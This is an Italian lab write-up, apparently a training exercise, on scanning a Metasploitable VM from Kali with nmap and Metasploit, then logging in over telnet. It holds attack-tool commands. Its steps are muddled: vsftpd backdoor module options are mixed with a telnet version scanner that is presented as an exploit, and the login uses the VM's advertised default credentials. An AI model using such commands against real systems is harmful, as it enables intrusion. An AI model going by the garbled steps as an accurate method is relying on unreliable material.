

# Exploit Telnet con Metasploit

---

## Configurazione delle Macchine Virtuali

---

### Configurare Metasploitable

1. Avvia la macchina virtuale Metasploitable.
2. Imposta l'indirizzo IP della macchina Metasploitable su 192.168.1.149/24.

Verifica la configurazione con il comando:

```
ifconfig
```

```
No mail.
msfadmin@metasploitable:~$ sudo ifconfig eth0 192.168.1.149 netmask 255.255.255.
0 up
[sudo] password for msfadmin:
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:4d:e1:90
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe4d:e190/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:30 errors:0 dropped:0 overruns:0 frame:0
          TX packets:74 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:1920 (1.8 KB)  TX bytes:6805 (6.6 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:130 errors:0 dropped:0 overruns:0 frame:0
          TX packets:130 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:31455 (30.7 KB)  TX bytes:31455 (30.7 KB)

msfadmin@metasploitable:~$
```

### Configurare Kali Linux

1. Avvia la macchina Kali Linux.
2. Assicurati che sia sulla stessa rete della macchina Metasploitable. Puoi verificare la connessione con un ping:

Editing Static 10.

Connection name **Static 10.**

General Ethernet 802.1X Security DCB Proxy **IPv4 Settings** IPv6 Settings

Method **Manual**

**Addresses**

Address	Netmask	Gateway
192.168.1.100	24	192.168.1.1

Add  
Delete

DNS servers **192.168.1.1**

Search domains

DHCP client ID

☐ Require IPv4 addressing for this connection to complete

Routes...

Cancel **✓ Save**

```
(kali@kali)-[~]  
$ ping 192.168.1.149  
PING 192.168.1.149 (192.168.1.149) 56(84) bytes of data.  
64 bytes from 192.168.1.149: icmp_seq=1 ttl=64 time=0.184 ms  
64 bytes from 192.168.1.149: icmp_seq=2 ttl=64 time=0.192 ms  
64 bytes from 192.168.1.149: icmp_seq=3 ttl=64 time=0.192 ms
```

## Scansione della Macchina Metasploitable

1. Utilizza nmap per identificare i servizi in esecuzione:

```
nmap -sV 192.168.1.149
```

```
kali@kali: ~  
File Actions Edit View Help  
(kali@kali)-[~]  
$ nmap -sV 192.168.1.0/24  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-16 08:31 EST  
Nmap scan report for 192.168.1.149  
Host is up (0.000056s latency).  
Not shown: 977 closed tcp ports (reset)  
PORT      STATE SERVICE      VERSION  
21/tcp    open  ftp          vsftpd 2.3.4  
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)  
23/tcp    open  telnet       Linux telnetd  
25/tcp    open  smtp         Postfix smtpd  
53/tcp    open  domain       ISC BIND 9.4.2  
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)  
111/tcp   open  rpcbind      2 (RPC #100000)  
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)  
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)  
512/tcp   open  exec         netkit-rsh rexecd  
513/tcp   open  login        OpenBSD or Solaris rlogind  
514/tcp   open  shell        Netkit rshd  
1099/tcp  open  java-rmi     GNU Classpath grmiregistry  
1524/tcp  open  bindshell    Metasploitable root shell  
2049/tcp  open  nfs          2-4 (RPC #100003)  
2121/tcp  open  ftp          ProFTPD 1.3.1  
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5  
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7  
5900/tcp  open  vnc          VNC (protocol 3.3)  
6000/tcp  open  X11          (access denied)  
6667/tcp  open  irc          UnrealIRCd  
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)  
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1  
MAC Address: 08:00:27:4D:E1:90 (Oracle VirtualBox virtual NIC)  
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:l  
inux_kernel  
  
Nmap scan report for 192.168.1.100  
Host is up (0.0000050s latency).  
All 1000 scanned ports on 192.168.1.100 are in ignored states.  
Not shown: 1000 closed tcp ports (reset)  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 256 IP addresses (2 hosts up) scanned in 48.08 seconds
```

Opzione `-sV`: identifica la versione dei servizi.

So che la versione vsftpd usata è la `2.3.4`

## Avvio di Metasploit

1. Apri il terminale sulla tua macchina e avvia Metasploit:

```
msfconsole
```



# Configurare il Modulo

1. Visualizza le opzioni richieste per il modulo:

```
options
```

```
View the full module info with the info, or info -d command.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  --      -
  CHOST      no               no        The local client address
  CPORT      no               no        The local client port
  Proxies    no               no        A proxy chain of format type:host:port[,type:host:port][ ... ]
  RHOSTS     yes              yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      21               yes       The target port (TCP)

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > 
```

2. Configura l'indirizzo IP della macchina Metasploitable:

```
set RHOSTS 192.168.1.149
```

```
msf6 auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
msf6 auxiliary(scanner/telnet/telnet_version) > 
```

3. Verifica la configurazione:

```
options
```

```
msf6 auxiliary(scanner/telnet/telnet_version) > options
Module options (auxiliary/scanner/telnet/telnet_version):

  Name      Current Setting  Required  Description
  --      -
  PASSWORD   no               no        The password for the specified username
  RHOSTS     192.168.1.149   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      23               yes       The target port (TCP)
  THREADS    1               yes       The number of concurrent threads (max one per host)
  TIMEOUT    30               yes       Timeout for the Telnet probe
  USERNAME   no               no        The username to authenticate as

View the full module info with the info, or info -d command.
```

# Esecuzione dell'Exploit

1. Esegui l'exploit:

```
run
```

```
msf6 auxiliary(scanner/telnet/telnet_version) > run
[*] 192.168.1.149:23 - 192.168.1.149:23 TELNET
[*] 192.168.1.149:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Se l'exploit è riuscito, otterremmo i dati per l'accesso.

# Completare l'Attività

## 1. Tento l'accesso utilizzando i dati:

Username: msfadmin

Password: msfadmin

```
kali@kali: ~  
File Actions Edit View Help  
(kali@kali)-[~]  
$ telnet 192.168.1.149  
Trying 192.168.1.149 ...  
Connected to 192.168.1.149.  
Escape character is '^['.  
  
metasploitable  
Warning: Never expose this VM to an untrusted network! http://wiki.wvm.com/wiki/metasploit.html  
Contact: msfdev[at]metasploit.com  
Login with msfadmin/msfadmin to get started  
  
metasploitable login: msfadmin  
Password:  
Last login: Mon Dec 16 09:38:15 EST 2024 on tty1  
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686  
  
The programs included with the Ubuntu system are free software;  
the exact distribution terms for each program are described in the  
individual files in /usr/share/doc/*/copyright.  
  
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by  
applicable law.  
  
To access official Ubuntu documentation, please visit:  
http://help.ubuntu.com/  
No mail.  
msfadmin@metasploitable:~$
```